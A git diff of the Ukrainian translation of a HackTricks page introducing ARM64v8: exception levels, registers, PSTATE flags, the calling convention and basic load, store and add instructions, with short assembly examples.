* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,258 +1,257 @@
|
||||||
# Вступ до ARM64v8
|
# Вступ до ARM64v8
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Підтримайте HackTricks</summary>
|
<summary>Підтримка HackTricks</summary>
|
||||||
|
|
||||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Рівні винятків - EL (ARM64v8)**
|
## **Рівні виключень - EL (ARM64v8)**
|
||||||
|
|
||||||
У архітектурі ARMv8 рівні виконання, відомі як Рівні винятків (EL), визначають рівень привілеїв та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен служить різним цілям:
|
В архітектурі ARMv8 рівні виконання, відомі як Рівні Виключень (EL), визначають рівень привілеїв та можливості середовища виконання. Є чотири рівні виключень, від EL0 до EL3, кожен з яких має різне призначення:
|
||||||
|
|
||||||
1. **EL0 - Режим користувача**:
|
1. **EL0 - Режим користувача**:
|
||||||
* Це найменш привілейований рівень і використовується для виконання звичайного програмного коду.
|
* Це найменш привілейований рівень, який використовується для виконання звичайного коду додатків.
|
||||||
* Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, підвищуючи безпеку та стабільність.
|
* Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.
|
||||||
2. **EL1 - Режим ядра операційної системи**:
|
2. **EL1 - Режим ядра операційної системи**:
|
||||||
* Більшість ядер операційних систем працюють на цьому рівні.
|
* Більшість ядер операційних систем працюють на цьому рівні.
|
||||||
* EL1 має більше привілеїв, ніж EL0 та може отримувати доступ до ресурсів системи, але з деякими обмеженнями для забезпечення цілісності системи.
|
* EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи.
|
||||||
3. **EL2 - Режим гіпервізора**:
|
3. **EL2 - Режим гіпервізора**:
|
||||||
* Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у власному EL1), що працюють на одному фізичному обладнанні.
|
* Цей рівень використовується для віртуалізації. Гіпервізор, що працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному обладнанні.
|
||||||
* EL2 надає можливості для ізоляції та керування віртуалізованими середовищами.
|
* EL2 надає функції для ізоляції та контролю віртуалізованих середовищ.
|
||||||
4. **EL3 - Режим безпечного монітора**:
|
4. **EL3 - Режим безпечного монітора**:
|
||||||
* Це найбільш привілейований рівень і часто використовується для безпечного завантаження та довірених середовищ виконання.
|
* Це найпривілейованіший рівень, який часто використовується для безпечного завантаження та довірених середовищ виконання.
|
||||||
* EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (наприклад, безпечний запуск, довірена ОС тощо).
|
* EL3 може керувати та контролювати доступи між безпечними та небезпечними станами (такими як безпечне завантаження, довірена ОС тощо).
|
||||||
|
|
||||||
Використання цих рівнів дозволяє структурованим та безпечним способом керувати різними аспектами системи, від користувацьких додатків до найбільш привілейованого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.
|
Використання цих рівнів дозволяє структуровано та безпечно управляти різними аспектами системи, від користувацьких додатків до найпривілейованішого системного програмного забезпечення. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, тим самим підвищуючи безпеку та надійність системи.
|
||||||
|
|
||||||
## **Регістри (ARM64v8)**
|
## **Реєстри (ARM64v8)**
|
||||||
|
|
||||||
У ARM64 є **31 регістр загального призначення**, позначених як `x0` до `x30`. Кожен може зберігати значення **64 біт** (8 байт). Для операцій, які вимагають лише значень 32 біт, до тих же регістрів можна отримати доступ у режимі 32 біт за допомогою імен w0 до w30.
|
ARM64 має **31 загальний реєстр**, позначений `x0` до `x30`. Кожен може зберігати **64-бітне** (8-байтове) значення. Для операцій, які вимагають лише 32-бітних значень, ті ж реєстри можуть бути доступні в 32-бітному режимі, використовуючи назви w0 до w30.
|
||||||
|
|
||||||
1. **`x0`** до **`x7`** - Зазвичай використовуються як регістри-запаси та для передачі параметрів у підпрограми.
|
1. **`x0`** до **`x7`** - Ці реєстри зазвичай використовуються як тимчасові реєстри та для передачі параметрів підпрограмам.
|
||||||
* **`x0`** також містить дані повернення функції.
|
* **`x0`** також несе дані повернення функції
|
||||||
2. **`x8`** - У ядрі Linux, `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!**
|
2. **`x8`** - У ядрі Linux `x8` використовується як номер системного виклику для інструкції `svc`. **У macOS використовується x16!**
|
||||||
3. **`x9`** до **`x15`** - Додаткові тимчасові регістри, часто використовуються для локальних змінних.
|
3. **`x9`** до **`x15`** - Більше тимчасових реєстрів, часто використовуються для локальних змінних.
|
||||||
4. **`x16`** та **`x17`** - **Регістри внутрішньопроцедурного виклику**. Тимчасові регістри для негайних значень. Їх також використовують для непрямих викликів функцій та заготовок PLT (Таблиця зв'язку процедур).
|
4. **`x16`** та **`x17`** - **Реєстри внутрішньопроцедурного виклику**. Тимчасові реєстри для негайних значень. Вони також використовуються для непрямих викликів функцій та PLT (таблиця зв'язків процедур).
|
||||||
* **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**.
|
* **`x16`** використовується як **номер системного виклику** для інструкції **`svc`** в **macOS**.
|
||||||
5. **`x18`** - **Регістр платформи**. Його можна використовувати як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформено-специфічних використань: Вказівник на поточний блок середовища потоку в Windows або вказівник на поточну **структуру завдання в ядрі Linux**.
|
5. **`x18`** - **Реєстр платформи**. Може використовуватися як загальний реєстр, але на деяких платформах цей реєстр зарезервований для специфічних для платформи використань: вказівник на блок середовища поточного потоку в Windows або вказівник на поточну **структуру виконуваного завдання в ядрі linux**.
|
||||||
6. **`x19`** до **`x28`** - Це регістри, які зберігаються викликачем. Функція повинна зберігати значення цих регістрів для свого викликача, тому вони зберігаються в стеку та відновлюються перед поверненням до викликача.
|
6. **`x19`** до **`x28`** - Це реєстри, збережені викликачем. Функція повинна зберігати значення цих реєстрів для свого виклику, тому вони зберігаються в стеку та відновлюються перед поверненням до виклику.
|
||||||
7. **`x29`** - **Вказівник рамки** для відстеження стекової рамки. Коли створюється нова стекова рамка через виклик функції, регістр **`x29`** зберігається в стеці, а адреса нової рамки (**адреса `sp`**) зберігається в цьому реєстрі.
|
7. **`x29`** - **Вказівник кадру** для відстеження кадру стеку. Коли створюється новий кадр стеку через виклик функції, реєстр **`x29`** **зберігається в стеку**, а **новий** адреса вказівника кадру (**`sp`** адреса) **зберігається в цьому реєстрі**.
|
||||||
* Цей регістр також може використовуватися як **регістр загального призначення**, хоча зазвичай використовується як посилання на **локальні змінні**.
|
* Цей реєстр також може використовуватися як **загальний реєстр**, хоча зазвичай використовується як посилання на **локальні змінні**.
|
||||||
8. **`x30`** або **`lr`** - **Регістр посилання**. Він містить **адресу повернення**, коли виконується інструкція `BL` (Гілка з посиланням) або `BLR` (Гілка з посиланням на реєстр), зберігаючи значення **`pc`** в цьому регістрі.
|
8. **`x30`** або **`lr`**- **Реєстр зв'язку**. Він містить **адресу повернення**, коли виконується інструкція `BL` (перехід з посиланням) або `BLR` (перехід з посиланням на реєстр), зберігаючи значення **`pc`** в цьому реєстрі.
|
||||||
* Його також можна використовувати як будь-який інший регістр.
|
* Його також можна використовувати як будь-який інший реєстр.
|
||||||
* Якщо поточна функція збирається викликати нову функцію та, отже, перезаписувати `lr`, вона збереже його в стеці на початку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір та отримати новий `fp`) та відновить його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` та повернутися).
|
* Якщо поточна функція збирається викликати нову функцію і, отже, перезаписати `lr`, вона спочатку зберігає його в стеку, це епілог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Зберегти `fp` та `lr`, створити простір і отримати новий `fp`) і відновлює його в кінці, це пролог (`ldp x29, x30, [sp], #48; ret` -> Відновити `fp` та `lr` і повернутися).
|
||||||
9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхушки стеку.
|
9. **`sp`** - **Вказівник стеку**, використовується для відстеження верхньої частини стеку.
|
||||||
* значення **`sp`** завжди повинно бути збережено принаймні з **вирівнюванням квадратного слова**, або може виникнути виняток вирівнювання.
|
* Значення **`sp`** завжди повинно зберігатися принаймні на **квадратному** **вирівнюванні**, інакше може виникнути виняток вирівнювання.
|
||||||
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію винятків, повернення винятків та гілки. Єдині звичайні інструкції, які можуть читати цей регістр, це інструкції гілки з посиланням (BL, BLR) для збереження адреси **`pc`** в **`lr`** (Регістр посилання).
|
10. **`pc`** - **Лічильник програми**, який вказує на наступну інструкцію. Цей реєстр може бути оновлений лише через генерацію виключень, повернення з виключень та переходи. Єдині звичайні інструкції, які можуть читати цей реєстр, - це інструкції переходу з посиланням (BL, BLR), щоб зберегти адресу **`pc`** в **`lr`** (реєстр зв'язку).
|
||||||
11. **`xzr`** - **Регістр нуля**. Також називається **`wzr`** у формі регістра **32** біт. Може використовуватися для отримання нульового значення легко (загальна операція) або для виконання порівнянь за допомогою **`subs`** як **`subs XZR, Xn, #10`** зберігаючи отримані дані нікуди (у **`xzr`**).
|
11. **`xzr`** - **Нульовий реєстр**. Також називається **`wzr`** у його **32**-бітній формі. Може використовуватися для отримання нульового значення (поширена операція) або для виконання порівнянь за допомогою **`subs`**, таких як **`subs XZR, Xn, #10`**, зберігаючи результуючі дані нікуди (в **`xzr`**).
|
||||||
|
|
||||||
Регістри **`Wn`** є **32-бітною** версією регістра **`Xn`**.
|
Реєстри **`Wn`** є **32-бітною** версією реєстрів **`Xn`**.
|
||||||
|
|
||||||
### Регістри SIMD та з плаваючою комою
|
### SIMD та плаваючі точки Реєстри
|
||||||
|
|
||||||
Крім того, є ще **32 регістри довжиною 128 біт**, які можна використовувати в оптимізованих операціях з однією інструкцією для кількох даних (SIMD) та для виконання операцій з плаваючою комою. Їх називають регістрами Vn, хоча вони також можуть працювати в режимах **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному, тоді вони називаються **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
|
Крім того, є ще **32 реєстри довжиною 128 біт**, які можуть використовуватися в оптимізованих операціях з одноразовими інструкціями множинних даних (SIMD) та для виконання арифметики з плаваючою точкою. Вони називаються реєстрами Vn, хоча вони також можуть працювати в **64**-бітному, **32**-бітному, **16**-бітному та **8**-бітному режимах, і тоді їх називають **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** та **`Bn`**.
|
||||||
### Реєстри системи
|
|
||||||
|
|
||||||
**Існує сотні реєстрів системи**, також називаних реєстрами спеціального призначення (SPR), які використовуються для **моніторингу** та **контролю** **поведінки процесорів**.\
|
### Системні реєстри
|
||||||
Їх можна читати або встановлювати лише за допомогою спеціальної інструкції **`mrs`** та **`msr`**.
|
|
||||||
|
|
||||||
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** часто зустрічаються при реверсному проектуванні. Суфікс `EL0` вказує на **мінімальне виключення**, з якого можна отримати доступ до реєстру (у цьому випадку EL0 - це звичайний рівень виключення (привілей), на якому працюють звичайні програми).\
|
**Є сотні системних реєстрів**, також відомих як спеціалізовані реєстри (SPRs), які використовуються для **моніторингу** та **контролю** поведінки **процесорів**.\
|
||||||
Їх часто використовують для зберігання **базової адреси області пам'яті локального сховища потоку**. Зазвичай перший доступний для читання та запису для програм, що працюють на EL0, але другий може бути прочитаний з EL0 та записаний з EL1 (як ядро).
|
Вони можуть бути прочитані або встановлені лише за допомогою спеціальних інструкцій **`mrs`** та **`msr`**.
|
||||||
|
|
||||||
* `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 у x0`
|
Спеціальні реєстри **`TPIDR_EL0`** та **`TPIDDR_EL0`** зазвичай зустрічаються під час реверсного інжинірингу. Суфікс `EL0` вказує на **мінімальне виключення**, з якого реєстр може бути доступний (в даному випадку EL0 - це звичайний рівень виключення (привілеїв), з яким працюють звичайні програми).\
|
||||||
* `msr TPIDR_EL0, X0 ; Записати x0 у TPIDR_EL0`
|
Вони часто використовуються для зберігання **базової адреси регіону локального зберігання потоку** пам'яті. Зазвичай перший з них є читабельним і записуваним для програм, що працюють в EL0, але другий може бути прочитаний з EL0 і записаний з EL1 (як ядро).
|
||||||
|
|
||||||
|
* `mrs x0, TPIDR_EL0 ; Прочитати TPIDR_EL0 в x0`
|
||||||
|
* `msr TPIDR_EL0, X0 ; Записати x0 в TPIDR_EL0`
|
||||||
|
|
||||||
### **PSTATE**
|
### **PSTATE**
|
||||||
|
|
||||||
**PSTATE** містить кілька компонентів процесу, серіалізованих у видимий для операційної системи спеціальний реєстр **`SPSR_ELx`**, де X - **рівень дозволу спрацьованого** виключення (це дозволяє відновити стан процесу після завершення виключення).\
|
**PSTATE** містить кілька компонентів процесу, серіалізованих у видимому для операційної системи **`SPSR_ELx`** спеціальному реєстрі, де X - це **рівень дозволу** **викликаного** виключення (це дозволяє відновити стан процесу, коли виключення закінчується).\
|
||||||
Це доступні поля:
|
Це доступні поля:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1196).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* Прапорці умов **`N`**, **`Z`**, **`C`** та **`V`**:
|
* Умовні прапори **`N`**, **`Z`**, **`C`** та **`V`**:
|
||||||
* **`N`** означає, що операція дала від'ємний результат
|
* **`N`** означає, що операція дала негативний результат
|
||||||
* **`Z`** означає, що операція дала нуль
|
* **`Z`** означає, що операція дала нуль
|
||||||
* **`C`** означає, що операція виконана
|
* **`C`** означає, що операція перенесла
|
||||||
* **`V`** означає, що операція дала підписане переповнення:
|
* **`V`** означає, що операція дала підписане переповнення:
|
||||||
* Сума двох позитивних чисел дає від'ємний результат.
|
* Сума двох позитивних чисел дає негативний результат.
|
||||||
* Сума двох від'ємних чисел дає позитивний результат.
|
* Сума двох негативних чисел дає позитивний результат.
|
||||||
* У відніманні, коли від меншого позитивного числа віднімається велике від'ємне число (або навпаки), і результат не може бути представлений в межах заданого розміру бітів.
|
* У відніманні, коли велике негативне число віднімається від меншого позитивного числа (або навпаки), і результат не може бути представленим у межах заданого розміру біта.
|
||||||
* Очевидно, що процесор не знає, чи операція підписана чи ні, тому він буде перевіряти C та V у операціях та вказувати, чи відбувся перенос у випадку, якщо він був підписаний або непідписаний.
|
* Очевидно, що процесор не знає, чи операція підписана чи ні, тому він перевірить C та V в операціях і вказує, чи відбулося перенесення у випадку, якщо це було підписано або без підпису.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Не всі інструкції оновлюють ці прапорці. Деякі, наприклад, **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, наприклад **`ADDS`**, також роблять це.
|
Не всі інструкції оновлюють ці прапори. Деякі, такі як **`CMP`** або **`TST`**, роблять це, а інші, які мають суфікс s, такі як **`ADDS`**, також роблять це.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* Прапор ширини поточного **реєстра (`nRW`)**: Якщо прапорець має значення 0, програма буде працювати в стані виконання AArch64 після відновлення.
|
* Поточний **прапор ширини реєстра** (`nRW`): Якщо прапор має значення 0, програма буде виконуватися в стані виконання AArch64 після відновлення.
|
||||||
* Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює на EL0, матиме значення 0
|
* Поточний **рівень виключення** (**`EL`**): Звичайна програма, що працює в EL0, матиме значення 0
|
||||||
* Прапорець **однокрокового виконання** (**`SS`**): Використовується відладчиками для однокрокового виконання, встановлюючи прапорець SS на 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виняток одного кроку.
|
* Прапор **одиночного кроку** (**`SS`**): Використовується відладчиками для одиночного кроку, встановлюючи прапор SS в 1 всередині **`SPSR_ELx`** через виключення. Програма виконає крок і видасть виключення одиночного кроку.
|
||||||
* Прапор незаконного стану виключення (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недійсний перехід рівня виключення, цей прапорець встановлюється на 1, і процесор викликає незаконне виключення стану.
|
* Прапор **недопустимого виключення** (**`IL`**): Використовується для позначення, коли привілейоване програмне забезпечення виконує недопустимий перехід рівня виключення, цей прапор встановлюється в 1, і процесор викликає виключення недопустимого стану.
|
||||||
* Прапорці **`DAIF`**: Ці прапорці дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
|
* Прапори **`DAIF`**: Ці прапори дозволяють привілейованій програмі вибірково маскувати певні зовнішні виключення.
|
||||||
* Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні апаратні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
* Якщо **`A`** дорівнює 1, це означає, що **асинхронні перерви** будуть викликані. **`I`** налаштовує відповідь на зовнішні запити переривання апаратного забезпечення (IRQ). а F пов'язаний з **швидкими запитами переривання** (FIR).
|
||||||
* Прапорці вибору вказівника стеку (**`SPS`**): Привілейовані програми, що працюють на EL1 та вище, можуть перемикатися між використанням власного реєстра вказівника стеку та реєстра користувацької моделі (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не можна зробити з EL0.
|
* Прапори **вибору вказівника стеку** (**`SPS`**): Привілейовані програми, що працюють в EL1 та вище, можуть перемикатися між використанням свого власного реєстра вказівника стеку та реєстра користувацької моделі (наприклад, між `SP_EL1` та `EL0`). Це перемикання виконується шляхом запису в спеціальний реєстр **`SPSel`**. Це не може бути зроблено з EL0.
|
||||||
|
|
||||||
## **Конвенція виклику (ARM64v8)**
|
## **Конвенція виклику (ARM64v8)**
|
||||||
|
|
||||||
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** функції передаються в реєстрах **`x0` через `x7`**. **Додаткові** параметри передаються через **стек**. **Результат** повертається в реєстрі **`x0`**, або також в **`x1`**, якщо він має довжину 128 біт. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
|
Конвенція виклику ARM64 вказує, що **перші вісім параметрів** до функції передаються в реєстрах **`x0` до `x7`**. **Додаткові** параметри передаються на **стек**. Значення **повернення** передається назад у реєстр **`x0`**, або в **`x1`**, якщо воно **128 біт** довге. Реєстри **`x19`** до **`x30`** та **`sp`** повинні бути **збережені** під час викликів функцій.
|
||||||
|
|
||||||
При читанні функції в асемблері шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **встановлення** нового **вказівника кадру** та **виділення місця стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
|
Коли читаєте функцію в асемблері, шукайте **пролог та епілог функції**. **Пролог** зазвичай включає **збереження вказівника кадру (`x29`)**, **налаштування** нового **вказівника кадру** та **виділення простору в стеку**. **Епілог** зазвичай включає **відновлення збереженого вказівника кадру** та **повернення** з функції.
|
||||||
|
|
||||||
### Конвенція виклику в Swift
|
### Конвенція виклику в Swift
|
||||||
|
|
||||||
У Swift є власна **конвенція виклику**, яку можна знайти за посиланням [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
Swift має свою власну **конвенцію виклику**, яку можна знайти в [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
|
||||||
|
|
||||||
## **Загальні інструкції (ARM64v8)**
|
## **Загальні інструкції (ARM64v8)**
|
||||||
|
|
||||||
Інструкції ARM64 зазвичай мають формат `opcode dst, src1, src2`, де **`opcode`** - це **операція**, яку слід виконати (наприклад, `add`, `sub`, `mov`, тощо), **`dst`** - це **реєстр призначення**, де буде збережено результат, а **`src1`** та **`src2`** - **джерела** реєстрів. Також можна використовувати негайні значення замість джерелних реєстрів.
|
Інструкції ARM64 зазвичай мають **формат `opcode dst, src1, src2`**, де **`opcode`** - це **операція**, яка має бути виконана (така як `add`, `sub`, `mov` тощо), **`dst`** - це **реєстр призначення**, куди буде збережено результат, а **`src1`** та **`src2`** - це **реєстри джерела**. Негайні значення також можуть використовуватися замість реєстрів джерела.
|
||||||
|
|
||||||
* **`mov`**: **Перемістити** значення з одного **реєстра** в інший.
|
* **`mov`**: **Перемістити** значення з одного **реєстру** в інший.
|
||||||
* Приклад: `mov x0, x1` — Це переміщує значення з `x1` в `x0`.
|
* Приклад: `mov x0, x1` — Це переміщує значення з `x1` в `x0`.
|
||||||
* **`ldr`**: **Завантажити** значення з **пам'яті** в **реєстр**.
|
* **`ldr`**: **Завантажити** значення з **пам'яті** в **реєстр**.
|
||||||
* Приклад: `ldr x0, [x1]` — Це завантажує значення з місця пам'яті, на яке вказує `x1`, в `x0`.
|
* Приклад: `ldr x0, [x1]` — Це завантажує значення з пам'ятної адреси, на яку вказує `x1`, в `x0`.
|
||||||
* **Режим зміщення**: Вказується зміщення, яке впливає на вказівник абоїну, наприклад:
|
* **Режим зсуву**: Зсув, що впливає на початковий вказівник, вказується, наприклад:
|
||||||
* `ldr x2, [x1, #8]`, це завантажить в x2 значення з x1 + 8
|
* `ldr x2, [x1, #8]`, це завантажить в x2 значення з x1 + 8
|
||||||
* `ldr x2, [x0, x1, lsl #2]`, це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) \* 4
|
* `ldr x2, [x0, x1, lsl #2]`, це завантажить в x2 об'єкт з масиву x0, з позиції x1 (індекс) \* 4
|
||||||
* **Режим передварительного індексування**: Це застосовує обчислення до вихідного значення, отримує результат і також зберігає нове вихідне значення в вихідному.
|
* **Режим попереднього індексування**: Це застосує обчислення до початкового, отримає результат і також зберігає новий початок у початковому.
|
||||||
* `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і збереже в x1 результат `x1 + 8`
|
* `ldr x2, [x1, #8]!`, це завантажить `x1 + 8` в `x2` і зберігає в x1 результат `x1 + 8`
|
||||||
* `str lr, [sp, #-4]!`, Зберегти вказівник ланцюга в sp та оновити реєстр sp
|
* `str lr, [sp, #-4]!`, Зберегти реєстр зв'язку в sp і оновити реєстр sp
|
||||||
* **Режим післяіндексації**: Це схоже на попереднє, але спочатку звертається до адреси пам'яті, а потім обчислюється та зберігається зміщення.
|
* **Режим постіндексування**: Це як попередній, але адреса пам'яті спочатку доступна, а потім обчислюється та зберігається зсув.
|
||||||
* `ldr x0, [x1], #8`, завантажити `x1` в `x0` та оновити x1 на `x1 + 8`
|
* `ldr x0, [x1], #8`, завантажити `x1` в `x0` і оновити x1 з `x1 + 8`
|
||||||
* **Адресування відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстра PC
|
* **Адресація відносно PC**: У цьому випадку адреса для завантаження обчислюється відносно реєстру PC
|
||||||
* `ldr x1, =_start`, Це завантажить адресу, де починається символ `_start`, в x1 відносно поточного PC.
|
* `ldr x1, =_start`, Це завантажить адресу, де символ `_start` починається в x1, відносно поточного PC.
|
||||||
* **`str`**: **Зберегти** значення з **реєстра** в **пам'ять**.
|
* **`str`**: **Зберегти** значення з **реєстру** в **пам'ять**.
|
||||||
* Приклад: `str x0, [x1]` — Це зберігає значення в `x0` в місце пам'яті, на яке вказує `x1`.
|
* Приклад: `str x0, [x1]` — Це зберігає значення в `x0` в пам'ятній адресі, на яку вказує `x1`.
|
||||||
* **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних місць пам'яті**. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
|
* **`ldp`**: **Завантажити пару реєстрів**. Ця інструкція **завантажує два реєстри** з **послідовних пам'ятних** адрес. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.
|
||||||
* Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з місць пам'яті в `x2` та `x2 + 8`, відповідно.
|
* Приклад: `ldp x0, x1, [x2]` — Це завантажує `x0` та `x1` з пам'ятних адрес `x2` та `x2 + 8`, відповідно.
|
||||||
* **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовних місцях пам'яті**. Адреса пам'яті зазвичай формується додаванням зміщення до значення в іншому реєстрі.
|
* **`stp`**: **Зберегти пару реєстрів**. Ця інструкція **зберігає два реєстри** в **послідовні пам'ятні** адреси. Адреса пам'яті зазвичай формується шляхом додавання зсуву до значення в іншому реєстрі.
|
||||||
* Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в місця пам'яті в `sp` та `sp + 8`, відповідно.
|
* Приклад: `stp x0, x1, [sp]` — Це зберігає `x0` та `x1` в пам'ятних адресах `sp` та `sp + 8`, відповідно.
|
||||||
* `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в місця пам'яті в `sp+16` та `sp + 24`, відповідно, та оновлює `sp` на `sp+16`.
|
* `stp x0, x1, [sp, #16]!` — Це зберігає `x0` та `x1` в пам'ятних адресах `sp+16` та `sp + 24`, відповідно, і оновлює `sp` з `sp+16`.
|
||||||
* **`add`**: **Додати** значення двох реєстрів та зберегти результат в реєстрі.
|
* **`add`**: **Додати** значення двох реєстрів і зберегти результат у реєстрі.
|
||||||
* Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[зсув #N | RRX]
|
* Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
|
||||||
* Xn1 -> Призначення
|
* Xn1 -> Призначення
|
||||||
* Xn2 -> Операнд 1
|
* Xn2 -> Операнд 1
|
||||||
* Xn3 | #imm -> Операнд 2 (регістр або негайний)
|
* Xn3 | #imm -> Операнд 2 (реєстр або негайне)
|
||||||
* \[зсув #N | RRX] -> Виконати зсув або викликати RRX
|
* \[shift #N | RRX] -> Виконати зсув або виклик RRX
|
||||||
* Приклад: `add x0, x1, x2` — Це додає значення в `x1` та `x2` разом і зберігає результат в `x0`.
|
* Приклад: `add x0, x1, x2` — Це додає значення в `x1` та `x2` разом і зберігає результат в `x0`.
|
||||||
